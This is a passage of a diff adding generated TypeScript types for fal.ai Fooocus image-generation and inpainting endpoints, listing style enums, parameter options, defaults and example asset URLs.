'Mk Cross Processing Print': 'Mk Cross Processing Print', + 'Mk Dufaycolor Photograph': 'Mk Dufaycolor Photograph', + 'Mk Herbarium': 'Mk Herbarium', + 'Mk Punk Collage': 'Mk Punk Collage', + 'Mk Mosaic': 'Mk Mosaic', + 'Mk Van Gogh': 'Mk Van Gogh', + 'Mk Coloring Book': 'Mk Coloring Book', + 'Mk Singer Sargent': 'Mk Singer Sargent', + 'Mk Pollock': 'Mk Pollock', + 'Mk Basquiat': 'Mk Basquiat', + 'Mk Andy Warhol': 'Mk Andy Warhol', + 'Mk Halftone Print': 'Mk Halftone Print', + 'Mk Gond Painting': 'Mk Gond Painting', + 'Mk Albumen Print': 'Mk Albumen Print', + 'Mk Aquatint Print': 'Mk Aquatint Print', + 'Mk Anthotype Print': 'Mk Anthotype Print', + 'Mk Inuit Carving': 'Mk Inuit Carving', + 'Mk Bromoil Print': 'Mk Bromoil Print', + 'Mk Calotype Print': 'Mk Calotype Print', + 'Mk Color Sketchnote': 'Mk Color Sketchnote', + 'Mk Cibulak Porcelain': 'Mk Cibulak Porcelain', + 'Mk Alcohol Ink Art': 'Mk Alcohol Ink Art', + 'Mk One Line Art': 'Mk One Line Art', + 'Mk Blacklight Paint': 'Mk Blacklight Paint', + 'Mk Carnival Glass': 'Mk Carnival Glass', + 'Mk Cyanotype Print': 'Mk Cyanotype Print', + 'Mk Cross Stitching': 'Mk Cross Stitching', + 'Mk Encaustic Paint': 'Mk Encaustic Paint', + 'Mk Embroidery': 'Mk Embroidery', + 'Mk Gyotaku': 'Mk Gyotaku', + 'Mk Luminogram': 'Mk Luminogram', + 'Mk Lite Brite Art': 'Mk Lite Brite Art', + 'Mk Mokume Gane': 'Mk Mokume Gane', + 'Pebble Art': 'Pebble Art', + 'Mk Palekh': 'Mk Palekh', + 'Mk Suminagashi': 'Mk Suminagashi', + 'Mk Scrimshaw': 'Mk Scrimshaw', + 'Mk Shibori': 'Mk Shibori', + 'Mk Vitreous Enamel': 'Mk Vitreous Enamel', + 'Mk Ukiyo E': 'Mk Ukiyo E', + 'Mk Vintage Airline Poster': 'Mk Vintage Airline Poster', + 'Mk Vintage Travel Poster': 'Mk Vintage Travel Poster', + 'Mk Bauhaus Style': 'Mk Bauhaus Style', + 'Mk Afrofuturism': 'Mk Afrofuturism', + 'Mk Atompunk': 'Mk Atompunk', + 'Mk Constructivism': 'Mk Constructivism', + 'Mk Chicano Art': 'Mk Chicano Art', + 'Mk De Stijl': 'Mk De Stijl', + 'Mk Dayak Art': 'Mk Dayak Art', + 'Mk Fayum Portrait': 'Mk Fayum Portrait', + 'Mk Illuminated Manuscript': 'Mk Illuminated Manuscript', + 'Mk Kalighat Painting': 'Mk Kalighat Painting', + 'Mk Madhubani Painting': 'Mk Madhubani Painting', + 'Mk Pictorialism': 'Mk Pictorialism', + 'Mk Pichwai Painting': 'Mk Pichwai Painting', + 'Mk Patachitra Painting': 'Mk Patachitra Painting', + 'Mk Samoan Art Inspired': 'Mk Samoan Art Inspired', + 'Mk Tlingit Art': 'Mk Tlingit Art', + 'Mk Adnate Style': 'Mk Adnate Style', + 'Mk Ron English Style': 'Mk Ron English Style', + 'Mk Shepard Fairey Style': 'Mk Shepard Fairey Style', +} as const + +export type InputFalAiFooocusImagePromptStylesEnumKey = + (typeof inputFalAiFooocusImagePromptStylesEnum)[keyof typeof inputFalAiFooocusImagePromptStylesEnum] + +export const inputFalAiFooocusImagePromptUovMethodEnum = { + Disabled: 'Disabled', + 'Vary (Subtle)': 'Vary (Subtle)', + 'Vary (Strong)': 'Vary (Strong)', + 'Upscale (1.5x)': 'Upscale (1.5x)', + 'Upscale (2x)': 'Upscale (2x)', + 'Upscale (Fast 2x)': 'Upscale (Fast 2x)', +} as const + +export type InputFalAiFooocusImagePromptUovMethodEnumKey = + (typeof inputFalAiFooocusImagePromptUovMethodEnum)[keyof typeof inputFalAiFooocusImagePromptUovMethodEnum] + +export const inputFalAiFooocusImagePromptRefinerModelEnum = { + None: 'None', + 'realisticVisionV60B1_v51VAE.safetensors': + 'realisticVisionV60B1_v51VAE.safetensors', +} as const + +export type InputFalAiFooocusImagePromptRefinerModelEnumKey = + (typeof inputFalAiFooocusImagePromptRefinerModelEnum)[keyof typeof inputFalAiFooocusImagePromptRefinerModelEnum] + +export const inputFalAiFooocusImagePromptOutpaintSelectionsEnum = { + Left: 'Left', + Right: 'Right', + Top: 'Top', + Bottom: 'Bottom', +} as const + +export type InputFalAiFooocusImagePromptOutpaintSelectionsEnumKey = + (typeof inputFalAiFooocusImagePromptOutpaintSelectionsEnum)[keyof typeof inputFalAiFooocusImagePromptOutpaintSelectionsEnum] + +export const inputFalAiFooocusImagePromptInpaintModeEnum = { + 'Inpaint or Outpaint (default)': 'Inpaint or Outpaint (default)', + 'Improve Detail (face, hand, eyes, etc.)': + 'Improve Detail (face, hand, eyes, etc.)', + 'Modify Content (add objects, change background, etc.)': + 'Modify Content (add objects, change background, etc.)', +} as const + +export type InputFalAiFooocusImagePromptInpaintModeEnumKey = + (typeof inputFalAiFooocusImagePromptInpaintModeEnum)[keyof typeof inputFalAiFooocusImagePromptInpaintModeEnum] + +export type InputFalAiFooocusImagePrompt = { + /** + * @description + * The size of the generated image. You can choose between some presets or + * custom height and width that **must be multiples of 8**. + * + * @default '1024x1024' + * @type string | undefined + */ + aspect_ratio?: string + /** + * @description + * You can choose Speed or Quality + * + * @default 'Extreme Speed' + * @type string | undefined + */ + performance?: InputFalAiFooocusImagePromptPerformanceEnumKey + /** + * @description The image to use as a reference for inpainting. + */ + inpaint_image_url?: string | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFooocusImagePromptOutputFormatEnumKey + /** + * @example {"weight":1,"type":"PyraCanny","stop_at":1,"image_url":"https://storage.googleapis.com/falserverless/model_tests/fooocus/Pikachu.webp"} + * @type object + */ + image_prompt_1: ImagePrompt + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example (worst quality, low quality, normal quality, lowres, low details, oversaturated, undersaturated, overexposed, underexposed, grayscale, bw, bad photo, bad photography, bad art:1.4), (watermark, signature, text font, username, error, logo, words, letters, digits, autograph, trademark, name:1.2), (blur, blurry, grainy), morbid, ugly, asymmetrical, mutated malformed, mutilated, poorly lit, bad shadow, draft, cropped, out of frame, cut off, censored, jpeg artifacts, out of focus, glitch, duplicate, (airbrushed, cartoon, anime, semi-realistic, cgi, render, blender, digital art, manga, amateur:1.3), (3D ,3D Game, 3D Game Scene, 3D Character:1.1), (bad hands, bad anatomy, bad body, bad face, bad teeth, bad arms, bad legs, deformities:1.3) + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Mixing Image Prompt and Vary/Upscale + * @default false + * @type boolean | undefined + */ + mixing_image_prompt_and_vary_upscale?: boolean + /** + * @description Describe what you want to inpaint. + * @default '' + * @type string | undefined + */ + inpaint_additional_prompt?: string + image_prompt_3?: ImagePrompt + /** + * @description + * The style to use. + * + * @default ["Fooocus V2","Fooocus Sharp","Fooocus Enhance"] + * @type array | undefined + */ + styles?: InputFalAiFooocusImagePromptStylesEnumKey[] + /** + * @description + * The LoRAs to use for the image generation. You can use up to 5 LoRAs + * and they will be merged together to generate the final image. + * + * @default [{"path":"https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors","scale":0.1}] + * @type array | undefined + */ + loras?: LoraWeight2610393C[] + /** + * @description The method to use for upscaling or varying. + * @default 'Disabled' + * @type string | undefined + */ + uov_method?: InputFalAiFooocusImagePromptUovMethodEnumKey + /** + * @description + * The sharpness of the generated image. Use it to control how sharp the generated + * image should be. Higher value means image and texture are sharper. + * + * @minimum 0 + * @maximum 30 + * @default 2 + * @type number | undefined + */ + sharpness?: number + /** + * @description Mixing Image Prompt and Inpaint + * @default false + * @type boolean | undefined + */ + mixing_image_prompt_and_inpaint?: boolean + /** + * @description Refiner (SDXL or SD 1.5) + * @default 'None' + * @type string | undefined + */ + refiner_model?: InputFalAiFooocusImagePromptRefinerModelEnumKey + /** + * @description + * Number of images to generate in one request + * + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The image to use as a mask for the generated image. + */ + mask_image_url?: string | null + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @default '' + * @example pikachu + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The directions to outpaint. + * @default [] + * @type array | undefined + */ + outpaint_selections?: InputFalAiFooocusImagePromptOutpaintSelectionsEnumKey[] + /** + * @description + * Use 0.4 for SD1.5 realistic models; 0.667 for SD1.5 anime models + * 0.8 for XL-refiners; or any value for switching two SDXL models. + * + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + refiner_switch?: number + /** + * @description The image to upscale or vary. + */ + uov_image_url?: string | null + image_prompt_2?: ImagePrompt + image_prompt_4?: ImagePrompt + /** + * @description The mode to use for inpainting. + * @default 'Inpaint or Outpaint (default)' + * @type string | undefined + */ + inpaint_mode?: InputFalAiFooocusImagePromptInpaintModeEnumKey + /** + * @description If set to false, the safety checker will be disabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 30 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @example 176400 + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image9154276E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiFooocusImagePrompt = { + /** + * @description The generated image file info. + * @type array + */ + images: Image9154276E[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The time taken for the generation process. + * @type object + */ + timings: { + [key: string]: number + } +} + +export type LoraWeightFafca8D1 = { + /** + * @description URL or the path to the LoRA weights. + * @example https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFooocusInpaintOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFooocusInpaintOutputFormatEnumKey = + (typeof inputFalAiFooocusInpaintOutputFormatEnum)[keyof typeof inputFalAiFooocusInpaintOutputFormatEnum] + +export const inputFalAiFooocusInpaintStylesEnum = { + 'Fooocus V2': 'Fooocus V2', + 'Fooocus Enhance': 'Fooocus Enhance', + 'Fooocus Sharp': 'Fooocus Sharp', + 'Fooocus Semi Realistic': 'Fooocus Semi Realistic', + 'Fooocus Masterpiece': 'Fooocus Masterpiece', + 'Fooocus Photograph': 'Fooocus Photograph', + 'Fooocus Negative': 'Fooocus Negative', + 'Fooocus Cinematic': 'Fooocus Cinematic', + 'SAI 3D Model': 'SAI 3D Model', + 'SAI Analog Film': 'SAI Analog Film', + 'SAI Anime': 'SAI Anime', + 'SAI Cinematic': 'SAI Cinematic', + 'SAI Comic Book': 'SAI Comic Book', + 'SAI Craft Clay': 'SAI Craft Clay', + 'SAI Digital Art': 'SAI Digital Art', + 'SAI Enhance': 'SAI Enhance', + 'SAI Fantasy Art': 'SAI Fantasy Art', + 'SAI Isometric': 'SAI Isometric', + 'SAI Line Art': 'SAI Line Art', + 'SAI Lowpoly': 'SAI Lowpoly', + 'SAI Neonpunk': 'SAI Neonpunk', + 'SAI Origami': 'SAI Origami', + 'SAI Photographic': 'SAI Photographic', + 'SAI Pixel Art': 'SAI Pixel Art', + 'SAI Texture': 'SAI Texture', + 'MRE Cinematic Dynamic': 'MRE Cinematic Dynamic', + 'MRE Spontaneous Picture': 'MRE Spontaneous Picture', + 'MRE Artistic Vision': 'MRE Artistic Vision', + 'MRE Dark Dream': 'MRE Dark Dream', + 'MRE Gloomy Art': 'MRE Gloomy Art', + 'MRE Bad Dream': 'MRE Bad Dream', + 'MRE Underground': 'MRE Underground', + 'MRE Surreal Painting': 'MRE Surreal Painting', + 'MRE Dynamic Illustration': 'MRE Dynamic Illustration', + 'MRE Undead Art': 'MRE Undead Art', + 'MRE Elemental Art': 'MRE Elemental Art', + 'MRE Space Art': 'MRE Space Art', + 'MRE Ancient Illustration': 'MRE Ancient Illustration', + 'MRE Brave Art': 'MRE Brave Art', + 'MRE Heroic Fantasy': 'MRE Heroic Fantasy', + 'MRE Dark Cyberpunk': 'MRE Dark Cyberpunk', + 'MRE Lyrical Geometry': 'MRE Lyrical Geometry', + 'MRE Sumi E Symbolic': 'MRE Sumi E Symbolic', + 'MRE Sumi E Detailed': 'MRE Sumi E Detailed', + 'MRE Manga': 'MRE Manga', + 'MRE Anime': 'MRE Anime', + 'MRE Comic': 'MRE Comic', + 'Ads Advertising': 'Ads Advertising', + 'Ads Automotive': 'Ads Automotive', + 'Ads Corporate': 'Ads Corporate', + 'Ads Fashion Editorial': 'Ads Fashion Editorial', + 'Ads Food Photography': 'Ads Food Photography', + 'Ads Gourmet Food Photography': 'Ads Gourmet Food Photography', + 'Ads Luxury': 'Ads Luxury', + 'Ads Real Estate': 'Ads Real Estate', + 'Ads Retail': 'Ads Retail', + 'Artstyle Abstract': 'Artstyle Abstract', + 'Artstyle Abstract Expressionism': 'Artstyle Abstract Expressionism', + 'Artstyle Art Deco': 'Artstyle Art Deco', + 'Artstyle Art Nouveau': 'Artstyle Art Nouveau', + 'Artstyle Constructivist': 'Artstyle Constructivist', + 'Artstyle Cubist': 'Artstyle Cubist', + 'Artstyle Expressionist': 'Artstyle Expressionist', + 'Artstyle Graffiti': 'Artstyle Graffiti', + 'Artstyle Hyperrealism': 'Artstyle Hyperrealism', + 'Artstyle Impressionist': 'Artstyle Impressionist', + 'Artstyle Pointillism': 'Artstyle Pointillism', + 'Artstyle Pop Art': 'Artstyle Pop Art', + 'Artstyle Psychedelic': 'Artstyle Psychedelic', + 'Artstyle Renaissance': 'Artstyle Renaissance', + 'Artstyle Steampunk': 'Artstyle Steampunk', + 'Artstyle Surrealist': 'Artstyle Surrealist', + 'Artstyle Typography': 'Artstyle Typography', + 'Artstyle Watercolor': 'Artstyle Watercolor', + 'Futuristic Biomechanical': 'Futuristic Biomechanical', + 'Futuristic Biomechanical Cyberpunk': 'Futuristic Biomechanical Cyberpunk', + 'Futuristic Cybernetic': 'Futuristic Cybernetic', + 'Futuristic Cybernetic Robot': 'Futuristic Cybernetic Robot', + 'Futuristic Cyberpunk Cityscape': 'Futuristic Cyberpunk Cityscape', + 'Futuristic Futuristic': 'Futuristic Futuristic', + 'Futuristic Retro Cyberpunk': 'Futuristic Retro Cyberpunk', + 'Futuristic Retro Futurism': 'Futuristic Retro Futurism', + 'Futuristic Sci Fi': 'Futuristic Sci Fi', + 'Futuristic Vaporwave': 'Futuristic Vaporwave', + 'Game Bubble Bobble': 'Game Bubble Bobble', + 'Game Cyberpunk Game': 'Game Cyberpunk Game', + 'Game Fighting Game': 'Game Fighting Game', + 'Game Gta': 'Game Gta', + 'Game Mario': 'Game Mario', + 'Game Minecraft': 'Game Minecraft', + 'Game Pokemon': 'Game Pokemon', + 'Game Retro Arcade': 'Game Retro Arcade', + 'Game Retro Game': 'Game Retro Game', + 'Game Rpg Fantasy Game': 'Game Rpg Fantasy Game', + 'Game Strategy Game': 'Game Strategy Game', + 'Game Streetfighter': 'Game Streetfighter', + 'Game Zelda': 'Game Zelda', + 'Misc Architectural': 'Misc Architectural', + 'Misc Disco': 'Misc Disco', + 'Misc Dreamscape': 'Misc Dreamscape', + 'Misc Dystopian': 'Misc Dystopian', + 'Misc Fairy Tale': 'Misc Fairy Tale', + 'Misc Gothic': 'Misc Gothic', + 'Misc Grunge': 'Misc Grunge', + 'Misc Horror': 'Misc Horror', + 'Misc Kawaii': 'Misc Kawaii', + 'Misc Lovecraftian': 'Misc Lovecraftian', + 'Misc Macabre': 'Misc Macabre', + 'Misc Manga': 'Misc Manga', + 'Misc Metropolis': 'Misc Metropolis', + 'Misc Minimalist': 'Misc Minimalist', + 'Misc Monochrome': 'Misc Monochrome', + 'Misc Nautical': 'Misc Nautical', + 'Misc Space': 'Misc Space', + 'Misc Stained Glass': 'Misc Stained Glass', + 'Misc Techwear Fashion': 'Misc Techwear Fashion', + 'Misc Tribal': 'Misc Tribal', + 'Misc Zentangle': 'Misc Zentangle', + 'Papercraft Collage': 'Papercraft Collage', + 'Papercraft Flat Papercut': 'Papercraft Flat Papercut', + 'Papercraft Kirigami': 'Papercraft Kirigami', + 'Papercraft Paper Mache': 'Papercraft Paper Mache', + 'Papercraft Paper Quilling': 'Papercraft Paper Quilling', + 'Papercraft Papercut Collage': 'Papercraft Papercut Collage', + 'Papercraft Papercut Shadow Box': 'Papercraft Papercut Shadow Box', + 'Papercraft Stacked Papercut': 'Papercraft Stacked Papercut', + 'Papercraft Thick Layered Papercut': 'Papercraft Thick Layered Papercut', + 'Photo Alien': 'Photo Alien', + 'Photo Film Noir': 'Photo Film Noir', + 'Photo Glamour': 'Photo Glamour', + 'Photo Hdr': 'Photo Hdr', + 'Photo Iphone Photographic': 'Photo Iphone Photographic', + 'Photo Long Exposure': 'Photo Long Exposure', + 'Photo Neon Noir': 'Photo Neon Noir', + 'Photo Silhouette': 'Photo Silhouette', + 'Photo Tilt Shift': 'Photo Tilt Shift', + 'Cinematic Diva': 'Cinematic Diva', + 'Abstract Expressionism': 'Abstract Expressionism', + Academia: 'Academia', + 'Action Figure': 'Action Figure', + 'Adorable 3D Character': 'Adorable 3D Character', + 'Adorable Kawaii': 'Adorable Kawaii', + 'Art Deco': 'Art Deco', + 'Art Nouveau': 'Art Nouveau', + 'Astral Aura': 'Astral Aura', + 'Avant Garde': 'Avant Garde', + Baroque: 'Baroque', + 'Bauhaus Style Poster': 'Bauhaus Style Poster', + 'Blueprint Schematic Drawing': 'Blueprint Schematic Drawing', + Caricature: 'Caricature', + 'Cel Shaded Art': 'Cel Shaded Art', + 'Character Design Sheet': 'Character Design Sheet', + 'Classicism Art': 'Classicism Art', + 'Color Field Painting': 'Color Field Painting', + 'Colored Pencil Art': 'Colored Pencil Art', + 'Conceptual Art': 'Conceptual Art', + Constructivism: 'Constructivism', + Cubism: 'Cubism', + Dadaism: 'Dadaism', + 'Dark Fantasy': 'Dark Fantasy', + 'Dark Moody Atmosphere': 'Dark Moody Atmosphere', + 'Dmt Art Style': 'Dmt Art Style', + 'Doodle Art': 'Doodle Art', + 'Double Exposure': 'Double Exposure', + 'Dripping Paint Splatter Art': 'Dripping Paint Splatter Art', + Expressionism: 'Expressionism', + 'Faded Polaroid Photo': 'Faded Polaroid Photo', + Fauvism: 'Fauvism', + 'Flat 2d Art': 'Flat 2d Art', + 'Fortnite Art Style': 'Fortnite Art Style', + Futurism: 'Futurism', + Glitchcore: 'Glitchcore', + 'Glo Fi': 'Glo Fi', + 'Googie Art Style': 'Googie Art Style', + 'Graffiti Art': 'Graffiti Art', + 'Harlem Renaissance Art': 'Harlem Renaissance Art', + 'High Fashion': 'High Fashion', + Idyllic: 'Idyllic', + Impressionism: 'Impressionism', + 'Infographic Drawing': 'Infographic Drawing', + 'Ink Dripping Drawing': 'Ink Dripping Drawing', + 'Japanese Ink Drawing': 'Japanese Ink Drawing', + 'Knolling Photography': 'Knolling Photography', + 'Light Cheery Atmosphere': 'Light Cheery Atmosphere', + 'Logo Design': 'Logo Design', + 'Luxurious Elegance': 'Luxurious Elegance', + 'Macro Photography': 'Macro Photography', + 'Mandola Art': 'Mandola Art', + 'Marker Drawing': 'Marker Drawing', + Medievalism: 'Medievalism', + Minimalism: 'Minimalism', + 'Neo Baroque': 'Neo Baroque', + 'Neo Byzantine': 'Neo Byzantine', + 'Neo Futurism': 'Neo Futurism', + 'Neo Impressionism': 'Neo Impressionism', + 'Neo Rococo': 'Neo Rococo', + Neoclassicism: 'Neoclassicism', + 'Op Art': 'Op Art', + 'Ornate And Intricate': 'Ornate And Intricate', + 'Pencil Sketch Drawing': 'Pencil Sketch Drawing', + 'Pop Art 2': 'Pop Art 2', + Rococo: 'Rococo', + 'Silhouette Art': 'Silhouette Art', + 'Simple Vector Art': 'Simple Vector Art', + Sketchup: 'Sketchup', + 'Steampunk 2': 'Steampunk 2', + Surrealism: 'Surrealism', + Suprematism: 'Suprematism', + Terragen: 'Terragen', + 'Tranquil Relaxing Atmosphere': 'Tranquil Relaxing Atmosphere', + 'Sticker Designs': 'Sticker Designs', + 'Vibrant Rim Light': 'Vibrant Rim Light', + 'Volumetric Lighting': 'Volumetric Lighting', + 'Watercolor 2': 'Watercolor 2', + 'Whimsical And Playful': 'Whimsical And Playful', + 'Mk Chromolithography': 'Mk Chromolithography', + 'Mk Cross Processing Print': 'Mk Cross Processing Print', + 'Mk Dufaycolor Photograph': 'Mk Dufaycolor Photograph', + 'Mk Herbarium': 'Mk Herbarium', + 'Mk Punk Collage': 'Mk Punk Collage', + 'Mk Mosaic': 'Mk Mosaic', + 'Mk Van Gogh': 'Mk Van Gogh', + 'Mk Coloring Book': 'Mk Coloring Book', + 'Mk Singer Sargent': 'Mk Singer Sargent', + 'Mk Pollock': 'Mk Pollock', + 'Mk Basquiat': 'Mk Basquiat', + 'Mk Andy Warhol': 'Mk Andy Warhol', + 'Mk Halftone Print': 'Mk Halftone Print', + 'Mk Gond Painting': 'Mk Gond Painting', + 'Mk Albumen Print': 'Mk Albumen Print', + 'Mk Aquatint Print': 'Mk Aquatint Print', + 'Mk Anthotype Print': 'Mk Anthotype Print', + 'Mk Inuit Carving': 'Mk Inuit Carving', + 'Mk Bromoil Print': 'Mk Bromoil Print', + 'Mk Calotype Print': 'Mk Calotype Print', + 'Mk Color Sketchnote': 'Mk Color Sketchnote', + 'Mk Cibulak Porcelain': 'Mk Cibulak Porcelain', + 'Mk Alcohol Ink Art': 'Mk Alcohol Ink Art', + 'Mk One Line Art': 'Mk One Line Art', + 'Mk Blacklight Paint': 'Mk Blacklight Paint', + 'Mk Carnival Glass': 'Mk Carnival Glass', + 'Mk Cyanotype Print': 'Mk Cyanotype Print', + 'Mk Cross Stitching': 'Mk Cross Stitching', + 'Mk Encaustic Paint': 'Mk Encaustic Paint', + 'Mk Embroidery': 'Mk Embroidery', + 'Mk Gyotaku': 'Mk Gyotaku', + 'Mk Luminogram': 'Mk Luminogram', + 'Mk Lite Brite Art': 'Mk Lite Brite Art', + 'Mk Mokume Gane': 'Mk Mokume Gane', + 'Pebble Art': 'Pebble Art', + 'Mk Palekh': 'Mk Palekh', + 'Mk Suminagashi': 'Mk Suminagashi', + 'Mk Scrimshaw': 'Mk Scrimshaw', + 'Mk Shibori': 'Mk Shibori', + 'Mk Vitreous Enamel': 'Mk Vitreous Enamel', + 'Mk Ukiyo E': 'Mk Ukiyo E', + 'Mk Vintage Airline Poster': 'Mk Vintage Airline Poster', + 'Mk Vintage Travel Poster': 'Mk Vintage Travel Poster', + 'Mk Bauhaus Style': 'Mk Bauhaus Style', + 'Mk Afrofuturism': 'Mk Afrofuturism', + 'Mk Atompunk': 'Mk Atompunk', + 'Mk Constructivism': 'Mk Constructivism', + 'Mk Chicano Art': 'Mk Chicano Art', + 'Mk De Stijl': 'Mk De Stijl', + 'Mk Dayak Art': 'Mk Dayak Art', + 'Mk Fayum Portrait': 'Mk Fayum Portrait', + 'Mk Illuminated Manuscript': 'Mk Illuminated Manuscript', + 'Mk Kalighat Painting': 'Mk Kalighat Painting', + 'Mk Madhubani Painting': 'Mk Madhubani Painting', + 'Mk Pictorialism': 'Mk Pictorialism', + 'Mk Pichwai Painting': 'Mk Pichwai Painting', + 'Mk Patachitra Painting': 'Mk Patachitra Painting', + 'Mk Samoan Art Inspired': 'Mk Samoan Art Inspired', + 'Mk Tlingit Art': 'Mk Tlingit Art', + 'Mk Adnate Style': 'Mk Adnate Style', + 'Mk Ron English Style': 'Mk Ron English Style', + 'Mk Shepard Fairey Style': 'Mk Shepard Fairey Style', +} as const + +export type InputFalAiFooocusInpaintStylesEnumKey = + (typeof inputFalAiFooocusInpaintStylesEnum)[keyof typeof inputFalAiFooocusInpaintStylesEnum] + +export const inputFalAiFooocusInpaintInpaintEngineEnum = { + None: 'None', + v1: 'v1', + 'v2.5': 'v2.5', + 'v2.6': 'v2.6', +} as const + +export type InputFalAiFooocusInpaintInpaintEngineEnumKey = + (typeof inputFalAiFooocusInpaintInpaintEngineEnum)[keyof typeof inputFalAiFooocusInpaintInpaintEngineEnum] + +export const inputFalAiFooocusInpaintOutpaintSelectionsEnum = { + Left: 'Left', + Right: 'Right', + Top: 'Top', + Bottom: 'Bottom', +} as const + +export type InputFalAiFooocusInpaintOutpaintSelectionsEnumKey = + (typeof inputFalAiFooocusInpaintOutpaintSelectionsEnum)[keyof typeof inputFalAiFooocusInpaintOutpaintSelectionsEnum] + +export const inputFalAiFooocusInpaintPerformanceEnum = { + Speed: 'Speed', + Quality: 'Quality', + 'Extreme Speed': 'Extreme Speed', + Lightning: 'Lightning', +} as const + +export type InputFalAiFooocusInpaintPerformanceEnumKey = + (typeof inputFalAiFooocusInpaintPerformanceEnum)[keyof typeof inputFalAiFooocusInpaintPerformanceEnum] + +export const inputFalAiFooocusInpaintRefinerModelEnum = { + None: 'None', + 'realisticVisionV60B1_v51VAE.safetensors': + 'realisticVisionV60B1_v51VAE.safetensors', +} as const + +export type InputFalAiFooocusInpaintRefinerModelEnumKey = + (typeof inputFalAiFooocusInpaintRefinerModelEnum)[keyof typeof inputFalAiFooocusInpaintRefinerModelEnum] + +export const inputFalAiFooocusInpaintInpaintModeEnum = { + 'Inpaint or Outpaint (default)': 'Inpaint or Outpaint (default)', + 'Improve Detail (face, hand, eyes, etc.)': + 'Improve Detail (face, hand, eyes, etc.)', + 'Modify Content (add objects, change background, etc.)': + 'Modify Content (add objects, change background, etc.)', +} as const + +export type InputFalAiFooocusInpaintInpaintModeEnumKey = + (typeof inputFalAiFooocusInpaintInpaintModeEnum)[keyof typeof inputFalAiFooocusInpaintInpaintModeEnum] + +export type InputFalAiFooocusInpaint = { + /** + * @description + * The size of the generated image. You can choose between some presets or + * custom height and width that **must be multiples of 8**. + * + * @default '1024x1024' + * @type string | undefined + */ + aspect_ratio?: string + /** + * @description + * Positive value will make white area in the mask larger, negative value will + * make white area smaller. (default is 0, always process before any mask + * invert) + * + * @minimum -64 + * @maximum 64 + * @default 0 + * @type number | undefined + */ + inpaint_erode_or_dilate?: number + /** + * @description The image to use as a reference for inpainting. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + inpaint_image_url: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFooocusInpaintOutputFormatEnumKey + /** + * @description Describe what you want to inpaint. + * @default '' + * @type string | undefined + */ + inpaint_additional_prompt?: string + image_prompt_3?: ImagePrompt + /** + * @description + * The style to use. + * + * @default ["Fooocus V2","Fooocus Sharp","Fooocus Enhance"] + * @type array | undefined + */ + styles?: InputFalAiFooocusInpaintStylesEnumKey[] + /** + * @description + * The area to inpaint. Value 0 is same as "Only Masked" in A1111. Value 1 is + * same as "Whole Image" in A1111. Only used in inpaint, not used in outpaint. + * (Outpaint always use 1.0) + * + * @minimum 0 + * @maximum 1 + * @default 0.618 + * @type number | undefined + */ + inpaint_respective_field?: number + /** + * @description Version of Fooocus inpaint model + * @default 'v2.6' + * @type string | undefined + */ + inpaint_engine?: InputFalAiFooocusInpaintInpaintEngineEnumKey + /** + * @description The image to use as a mask for the generated image. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo_mask.png + */ + mask_image_url?: string | null + /** + * @description + * Number of images to generate in one request + * + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The directions to outpaint. + * @default [] + * @type array | undefined + */ + outpaint_selections?: InputFalAiFooocusInpaintOutpaintSelectionsEnumKey[] + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @default '' + * @example a cat on a bench, realistic, highly detailed, 8k + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the initial preprocessing will be disabled. + * @default false + * @type boolean | undefined + */ + inpaint_disable_initial_latent?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 30 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to false, the safety checker will be disabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + image_prompt_1?: ImagePrompt + /** + * @description + * The negative 